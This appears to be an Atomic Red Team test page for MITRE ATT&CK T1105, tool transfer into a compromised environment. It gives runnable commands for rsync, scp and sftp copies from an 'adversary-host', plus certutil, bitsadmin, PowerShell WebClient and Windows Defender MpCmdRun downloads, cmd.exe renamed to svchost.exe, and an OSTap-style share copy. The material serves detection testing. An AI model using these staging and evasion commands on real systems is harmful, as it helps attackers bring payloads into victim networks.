Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Utilize rsync to perform a remote file copy (push)
Supported Platforms: Linux, macOS
Name | Description | Type | Default Value |
---|---|---|---|
remote_path | Remote path to receive rsync | Path | /tmp/victim-files |
remote_host | Remote host to copy toward | String | victim-host |
local_path | Path of folder to copy | Path | /tmp/adversary-rsync/ |
username | User account to authenticate on remote host | String | victim |
rsync -r #{local_path} #{username}@#{remote_host}:#{remote_path}
Utilize rsync to perform a remote file copy (pull)
Supported Platforms: Linux, macOS
Name | Description | Type | Default Value |
---|---|---|---|
remote_path | Path of folder to copy | Path | /tmp/adversary-rsync/ |
remote_host | Remote host to copy from | String | adversary-host |
local_path | Local path to receive rsync | Path | /tmp/victim-files |
username | User account to authenticate on remote host | String | adversary |
rsync -r #{username}@#{remote_host}:#{remote_path} #{local_path}
Utilize scp to perform a remote file copy (push)
Supported Platforms: Linux, macOS
Name | Description | Type | Default Value |
---|---|---|---|
remote_path | Remote path to receive scp | Path | /tmp/victim-files/ |
local_file | Path of file to copy | Path | /tmp/adversary-scp |
remote_host | Remote host to copy toward | String | victim-host |
username | User account to authenticate on remote host | String | victim |
scp #{local_file} #{username}@#{remote_host}:#{remote_path}
Utilize scp to perform a remote file copy (pull)
Supported Platforms: Linux, macOS
Name | Description | Type | Default Value |
---|---|---|---|
remote_host | Remote host to copy from | String | adversary-host |
local_path | Local path to receive scp | Path | /tmp/victim-files/ |
remote_file | Path of file to copy | Path | /tmp/adversary-scp |
username | User account to authenticate on remote host | String | adversary |
scp #{username}@#{remote_host}:#{remote_file} #{local_path}
Utilize sftp to perform a remote file copy (push)
Supported Platforms: Linux, macOS
Name | Description | Type | Default Value |
---|---|---|---|
remote_path | Remote path to receive sftp | Path | /tmp/victim-files/ |
local_file | Path of file to copy | Path | /tmp/adversary-sftp |
remote_host | Remote host to copy toward | String | victim-host |
username | User account to authenticate on remote host | String | victim |
sftp #{username}@#{remote_host}:#{remote_path} <<< $'put #{local_file}'
Utilize sftp to perform a remote file copy (pull)
Supported Platforms: Linux, macOS
Name | Description | Type | Default Value |
---|---|---|---|
remote_host | Remote host to copy from | String | adversary-host |
local_path | Local path to receive sftp | Path | /tmp/victim-files/ |
remote_file | Path of file to copy | Path | /tmp/adversary-sftp |
username | User account to authenticate on remote host | String | adversary |
sftp #{username}@#{remote_host}:#{remote_file} #{local_path}
Use certutil -urlcache argument to download a file from the web. Note - /urlcache also works!
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
remote_file | URL of file to copy | Url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt |
local_path | Local path to place file | Path | Atomic-license.txt |
cmd /c certutil -urlcache -split -f #{remote_file} #{local_path}
del #{local_path} >nul 2>&1
Use certutil -verifyctl argument to download a file from the web. Note - /verifyctl also works!
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
remote_file | URL of file to copy | Url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt |
local_path | Local path to place file | Path | Atomic-license.txt |
$datePath = "certutil-$(Get-Date -format yyyy_MM_dd)"
New-Item -Path $datePath -ItemType Directory
Set-Location $datePath
certutil -verifyctl -split -f #{remote_file}
Get-ChildItem | Where-Object {$_.Name -notlike "*.txt"} | Foreach-Object { Move-Item $_.Name -Destination #{local_path} }
Remove-Item "certutil-$(Get-Date -format yyyy_MM_dd)" -Force -Recurse -ErrorAction Ignore
This test uses BITSAdmin.exe to schedule a BITS job for the download of a file. This technique is used by Qbot malware to download payloads.
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
bits_job_name | Name of the created BITS job | String | qcxjb7 |
local_path | Local path to place file | Path | %temp%\Atomic-license.txt |
remote_file | URL of file to copy | Url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt |
C:\Windows\System32\bitsadmin.exe /transfer #{bits_job_name} /Priority HIGH #{remote_file} #{local_path}
This test uses PowerShell to download a payload. This technique is used by multiple adversaries and malware families.
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
remote_file | URL of file to copy | Url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt |
destination_path | Destination path to file | Path | $env:TEMP\Atomic-license.txt |
(New-Object System.Net.WebClient).DownloadFile("#{remote_file}", "#{destination_path}")
Remove-Item #{destination_path} -Force -ErrorAction Ignore
OSTap copies itself in a specfic way to shares and secondary drives. This emulates the activity.
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
destination_path | Path to create remote file at. Default is local admin share. | String | \\localhost\C$ |
pushd #{destination_path}
echo var fileObject = WScript.createobject("Scripting.FileSystemObject");var newfile = fileObject.CreateTextFile("AtomicTestFileT1105.js", true);newfile.WriteLine("This is an atomic red team test file for T1105. It simulates how OSTap worms accross network shares and drives.");newfile.Close(); > AtomicTestT1105.js
CScript.exe AtomicTestT1105.js //E:JScript
del AtomicTestT1105.js /Q >nul 2>&1
del AtomicTestFileT1105.js /Q >nul 2>&1
popd
svchost.exe writing a non-Microsoft Office file to a file with a UNC path.
Upon successful execution, this will rename cmd.exe as svchost.exe and move it to c:\
, then execute svchost.exe with output to a txt file.
Supported Platforms: Windows
copy C:\Windows\System32\cmd.exe C:\svchost.exe
C:\svchost.exe /c echo T1105 > \\localhost\c$\T1105.txt
del C:\T1105.txt >nul 2>&1
del C:\\svchost.exe >nul 2>&1
Uses the Windows Defender to download a file from the internet (must have version 4.18.2007.8-0, 4.18.2007.9, or 4.18.2009.9 installed). The input arguments "remote_file" and "local_path" can be used to specify the download URL and the name of the output file. By default, the test downloads the Atomic Red Team license file to the temp directory.
More info and how to find your version can be found here https://lolbas-project.github.io/lolbas/Binaries/MpCmdRun/
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
remote_file | URL of file to download | url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt |
local_path | Location to save downloaded file | path | %temp%\Atomic-license.txt |
cd "%ProgramData%\Microsoft\Windows Defender\platform\4.18*"
MpCmdRun.exe -DownloadFile -url #{remote_file} -path #{local_path}
del #{local_path} >nul 2>&1
del %temp%\MpCmdRun.log >nul 2>&1
Description: Must have one of these Windows Defender versions installed: 4.18.2007.8-0, 4.18.2007.9, or 4.18.2009.9
$retVal = 1
foreach ($version in @("4.18.2007.8-0","4.18.2007.9","4.18.2009.9")){
if (Test-Path "$env:ProgramData\Microsoft\Windows Defender\Platform\$version") { $retVal = 0}
}
exit $retVal
Write-Host "Windows Defender verion 4.18.2007.8-0, 4.18.2007.9, or 4.18.2009.9 must be installed manually"